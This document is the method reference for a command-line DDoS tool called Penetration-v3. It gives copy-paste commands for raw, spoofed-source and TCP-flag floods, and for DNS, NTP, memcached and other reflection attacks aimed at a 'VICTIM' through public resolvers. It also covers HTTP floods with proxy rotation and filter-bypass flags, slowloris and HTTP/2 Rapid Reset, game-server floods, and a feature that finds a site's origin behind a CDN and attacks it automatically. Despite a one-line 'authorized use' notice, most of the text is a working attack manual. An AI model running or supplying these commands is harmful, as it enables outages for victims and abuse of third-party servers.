Attack & Recon Methods
Penetration-v3 ships with 38 methods split into five categories. Each section below shows the internal pipeline as a Mermaid diagram, the required privileges, and a copy-paste CLI example. Every interactive TUI run prints an equivalent CLI command at the end — any diagram here can be launched in one line.
Authorized Use Only
Every method below is intended for systems you own or have explicit written permission to test.
Legend
| Symbol | Meaning |
|---|---|
| 🟢 | No special privileges |
| 🔴 | Root / CAP_NET_RAW required |
| ⚡ | Amplification / reflection vector |
| 🎮 | Game server protocol |
| 🌐 | L7 / HTTP family |
L3/L4 Floods
udp — UDP flood
🟢 Standard UDP datagram flood. Random payload, optional random destination port (port:0), and per-worker rate limiting.
./pentest-v3 protocol:udp ip:10.0.0.5 port:8080 pps:50000 size:1024 duration:30tcp — TCP SYN / handshake flood
🟢/syn 🔴 Standard TCP connect. With mode:syn the tool uses raw sockets to send SYN packets without completing the handshake; mode:handshake completes the full three-way handshake.
# SYN flood (root)
sudo ./pentest-v3 protocol:tcp ip:10.0.0.5 port:80 pps:100000 mode:syn
# Handshake flood
./pentest-v3 protocol:tcp ip:10.0.0.5 port:80 pps:5000 mode:handshakeicmp — ICMP echo flood
🔴 Raw ICMP echo-request flood.
sudo ./pentest-v3 protocol:icmp ip:10.0.0.5 pps:50000raw — Custom raw IP packets
🔴 Sends user-defined raw IP packets. Combine with pattern:custom for specific byte sequences.
sudo ./pentest-v3 protocol:raw ip:10.0.0.5 pps:10000 pattern:customtcp-ack / tcp-rst / tcp-synack
🔴 TCP flag-specific raw floods used to test state-table exhaustion and middlebox behavior.
sudo ./pentest-v3 protocol:tcp-ack ip:10.0.0.5 port:80 pps:100000
sudo ./pentest-v3 protocol:tcp-rst ip:10.0.0.5 port:80 pps:100000
sudo ./pentest-v3 protocol:tcp-synack ip:10.0.0.5 port:80 pps:100000tcp-mb — TCP middlebox flag flood
🔴 Sends unusual TCP flag combinations to probe and stress middleboxes / IDS paths.
sudo ./pentest-v3 protocol:tcp-mb ip:10.0.0.5 port:80 pps:100000frag — IP fragment flood
🔴 Sends fragmented IP packets to test reassembly limits and fragment-specific filters.
sudo ./pentest-v3 protocol:frag ip:10.0.0.5 port:80 pps:50000 size:1400udp-max — UDP turbo MAX PUSH
🟢 Pushes UDP sending as fast as the NIC and kernel will allow, bypassing the normal rate limiter.
./pentest-v3 protocol:udp-max ip:10.0.0.5 port:8080 workers:8tcp-spoof / udp-spoof
🔴 Full-checksum raw floods with forged source addresses. cidr:random rotates the source each packet.
sudo ./pentest-v3 protocol:tcp-spoof ip:10.0.0.5 port:80 pps:100000 cidr:random
sudo ./pentest-v3 protocol:udp-spoof ip:10.0.0.5 port:53 pps:100000 cidr:10.0.0.0/24Amplification & Reflection
All amplification methods are 🔴 root-only. They require a list of amplifier IPs via resolvers:.
dns — DNS amplification
⚡ Sends small DNS queries with the victim's source IP to open resolvers, causing large responses to hit the victim.
sudo ./pentest-v3 protocol:dns ip:VICTIM resolvers:8.8.8.8,1.1.1.1 query:example.com. pps:10000ntp — NTP amplification
⚡ Sends monlist / mode-7 requests to NTP servers. Historical high-amplification vector.
sudo ./pentest-v3 protocol:ntp ip:VICTIM resolvers:1.2.3.4,5.6.7.8 pps:10000mem — Memcached amplification
⚡ Sends a small stats command to memcached UDP ports; responses can be hundreds of times larger.
sudo ./pentest-v3 protocol:mem ip:VICTIM resolvers:1.2.3.4,5.6.7.8 pps:10000char — Chargen amplification
⚡ Reflects off UDP chargen services.
sudo ./pentest-v3 protocol:char ip:VICTIM resolvers:1.2.3.4,5.6.7.8ssdp — SSDP amplification
⚡ Sends M-SEARCH requests to multicast-uncast SSDP reflectors.
sudo ./pentest-v3 protocol:ssdp ip:VICTIM resolvers:1.2.3.4,5.6.7.8cldap — CLDAP amplification
⚡ LDAP ping reflection over connectionless LDAP (UDP 389).
sudo ./pentest-v3 protocol:cldap ip:VICTIM resolvers:1.2.3.4,5.6.7.8rdp — RDP amplification
⚡ Targets the RDP UDP channel used in some Windows versions for reflection.
sudo ./pentest-v3 protocol:rdp ip:VICTIM resolvers:1.2.3.4,5.6.7.8snmp — SNMPv2c GetBulk amplification
⚡ Sends GetBulk requests with a large max-repetitions value to SNMP daemons.
sudo ./pentest-v3 protocol:snmp ip:VICTIM resolvers:1.2.3.4,5.6.7.8 pps:10000wsdisc — WS-Discovery amplification
⚡ UDP 3702 multicast reflection. Often found on IoT / Windows devices.
sudo ./pentest-v3 protocol:wsdisc ip:VICTIM resolvers:1.2.3.4,5.6.7.8mdns — mDNS amplification
⚡ UDP 5353 reflection via mDNS queries.
sudo ./pentest-v3 protocol:mdns ip:VICTIM resolvers:1.2.3.4,5.6.7.8coap — CoAP amplification
⚡ UDP 5683 reflection using CoAP GET requests.
sudo ./pentest-v3 protocol:coap ip:VICTIM resolvers:1.2.3.4,5.6.7.8amp-all — Multi-vector amplification
🔴⚡ Cycles through every amplification vector against the same victim/amplifiers.
sudo ./pentest-v3 protocol:amp-all ip:VICTIM resolvers:1.2.3.4,5.6.7.8 pps:50000amp-scan — Amplifier discovery
🟢 Scans a CIDR for hosts that respond to amplification probes. Does not attack; outputs a list of reflectors.
./pentest-v3 protocol:amp-scan ip:192.168.0.0/24L7 / HTTP Family
All L7 methods are 🟢 and respect settings.conf proxy rotation.
http — HTTP GET/POST/HEAD flood
🌐 Fast HTTP request flood with optional bypass flags.
./pentest-v3 protocol:http ip:target.com port:80 pps:5000 rhex:true dyn:true gbotua:true cookie:truehttps — HTTPS GET flood
🌐 TLS-wrapped HTTP flood. Use tls:true with protocol:http or protocol:https.
./pentest-v3 protocol:http ip:target.com port:443 tls:true pps:5000slowloris — Slowloris connection exhaustion
🌐 Opens many HTTP connections and sends partial headers slowly to hold sockets open.
./pentest-v3 protocol:slowloris ip:target.com port:80 workers:500killer — Max connection saturation
🌐 Opens and holds as many connections as possible to exhaust the server's connection pool.
./pentest-v3 protocol:killer ip:target.com port:80 workers:2000xmlrpc — WordPress XML-RPC flood
🌐 Floods xmlrpc.php with system.multicall or pingback.ping payloads.
./pentest-v3 protocol:xmlrpc ip:target.com port:80 pps:5000rudy — R-U-Dead-Yet
🌐 Slow HTTP POST body upload. Sends a large Content-Length header then drips body bytes.
./pentest-v3 protocol:rudy ip:target.com port:80 workers:500ws — WebSocket flood
🌐 Upgrades to WebSocket and floods binary frames.
./pentest-v3 protocol:ws ip:target.com port:80 pps:10000h2rapid — HTTP/2 Rapid Reset
🌐 CVE-2023-44487 style stream abuse: opens HTTP/2 streams and immediately resets them.
./pentest-v3 protocol:h2rapid ip:target.com port:443 tls:true workers:100ovh-bypass — OVH UDP bypass with HTTP payload
🌐 Sends HTTP-shaped payloads over UDP to bypass certain UDP-only filters.
./pentest-v3 protocol:ovh-bypass ip:target.com port:80 pps:50000Game Server Methods
minecraft — Minecraft Java MOTD flood
🎮 Queries / floods the Minecraft Java server list ping protocol.
./pentest-v3 protocol:minecraft ip:10.0.0.5 port:25565 pps:10000mcpe — Minecraft Bedrock / PE flood
🎮 Targets the Bedrock edition unconnected ping channel.
./pentest-v3 protocol:mcpe ip:10.0.0.5 port:19132 pps:10000valve — Valve / Source engine query flood
🎮 A2S_INFO / A2S_PLAYER query flood.
./pentest-v3 protocol:valve ip:10.0.0.5 port:27015 pps:10000teamspeak — TeamSpeak 3 flood
🎮 Sends TS3 connection init packets.
./pentest-v3 protocol:teamspeak ip:10.0.0.5 port:9987 pps:10000Reconnaissance
discover — CDN origin IP discovery
🟢 Attempts to find the real origin IP behind a CDN by scanning common IP ranges, certificate transparency, DNS history heuristics, and direct connection probes.
./pentest-v3 protocol:discover ip:target.comdiscover-attack — Discover then auto-attack
🟢/🔴 Runs discover, then immediately attacks any found origins with the configured method.
./pentest-v3 protocol:discover-attack ip:target.com protocol:udp pps:10000 duration:60CLI Equivalent Quick Reference
After any interactive TUI run, Penetration-v3 prints the equivalent command:
CLI Equivalent
./pentest-v3 protocol:udp ip:10.0.0.5 port:8080 pps:10000 workers:4 duration:60Copy that line to skip the wizard entirely. Every key in the CLI reference supports this output.
Method Matrix
| Method | Privilege | Category | Needs resolvers: | Uses Proxy |
|---|---|---|---|---|
udp | 🟢 | L3/L4 | No | No |
tcp | 🟢/🔴 | L3/L4 | No | No |
icmp | 🔴 | L3/L4 | No | No |
raw | 🔴 | L3/L4 | No | No |
tcp-ack | 🔴 | L3/L4 | No | No |
tcp-rst | 🔴 | L3/L4 | No | No |
tcp-synack | 🔴 | L3/L4 | No | No |
tcp-mb | 🔴 | L3/L4 | No | No |
frag | 🔴 | L3/L4 | No | No |
udp-max | 🟢 | L3/L4 | No | No |
tcp-spoof | 🔴 | L3/L4 | No | No |
udp-spoof | 🔴 | L3/L4 | No | No |
dns | 🔴 | Amp | Yes | No |
ntp | 🔴 | Amp | Yes | No |
mem | 🔴 | Amp | Yes | No |
char | 🔴 | Amp | Yes | No |
ssdp | 🔴 | Amp | Yes | No |
cldap | 🔴 | Amp | Yes | No |
rdp | 🔴 | Amp | Yes | No |
snmp | 🔴 | Amp | Yes | No |
wsdisc | 🔴 | Amp | Yes | No |
mdns | 🔴 | Amp | Yes | No |
coap | 🔴 | Amp | Yes | No |
amp-all | 🔴 | Amp | Yes | No |
amp-scan | 🟢 | Recon | No | No |
http | 🟢 | L7 | No | Yes |
https | 🟢 | L7 | No | Yes |
slowloris | 🟢 | L7 | No | Yes |
killer | 🟢 | L7 | No | Yes |
xmlrpc | 🟢 | L7 | No | Yes |
rudy | 🟢 | L7 | No | Yes |
ws | 🟢 | L7 | No | Yes |
h2rapid | 🟢 | L7 | No | Yes |
ovh-bypass | 🟢 | L7 | No | No |
minecraft | 🟢 | Game | No | No |
mcpe | 🟢 | Game | No | No |
valve | 🟢 | Game | No | No |
teamspeak | 🟢 | Game | No | No |
discover | 🟢 | Recon | No | No |
discover-attack | 🟢/🔴 | Recon/Attack | Varies | Varies |
